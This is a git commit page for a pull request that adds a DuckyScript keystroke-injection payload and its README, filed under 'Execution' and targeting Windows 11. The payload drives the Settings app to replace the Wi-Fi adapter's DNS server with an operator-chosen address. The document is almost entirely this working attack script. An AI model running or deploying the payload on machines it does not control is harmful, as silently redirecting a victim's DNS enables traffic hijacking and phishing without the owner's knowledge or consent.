Merge pull request #164 from aleff-github/patch-31

Set An Arbitrary DNS (IPv4 version)
pull/178/head
Kalani Helekunihi 2023-06-12 14:15:39 -04:00 committed by GitHub
commit 102fcebff7
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 78 additions and 0 deletions

View File

@ -0,0 +1,18 @@
# Set An Arbitrary DNS (IPv4 version)
This script can be used to change the default DNS server in Windows 11.
**Category**: Execution
## Description
This script can be used to change the default DNS server in Windows 11.
The script open the settings, then go to network settings, then go to wi-fi settings, then go to hardware properties settings, the open the dns settings, then change to manual, then set the DNS server defined before, then save the settings changed and close the window.
- You must edit the DNS defining the IPv4 in the payload.txt file
```DuckyScript
REM DNS IPv4 like Cloudflare DNS 1.1.1.1
DEFINE DNS example
```

View File

@ -0,0 +1,60 @@
REM ########################################################
REM # |
REM # Title : Set An Arbitrary DNS (IPv4 version) |
REM # Author : Aleff |
REM # Version : 1.0 |
REM # Category : Execution |
REM # Target : Windows 11 |
REM # |
REM ########################################################
REM Requirements:
REM - Nothing
REM DNS IPv4 like Cloudflare DNS 1.1.1.1
DEFINE DNS example
DEFAULT_DELAY 500
REM Open Settings
GUI
STRING settings
ENTER
REM Go to network settings
REPEAT 3 DOWNARROW
ENTER
REM Go to Wi-Fi settings
REPEAT 4 TAB
ENTER
REM Go to hardware properties settings
REPEAT 16 TAB
ENTER
REM DNS Settings
REPEAT 2 TAB
ENTER
REM Change to manual
SPACE
DOWNARROW
ENTER
REM Set the DNS server
TAB
SPACE
TAB
STRING DNS
TAB
ENTER
REM Save settings
DOWNARROW
ENTER
REPEAT 5 TAB
ENTER
ALT F4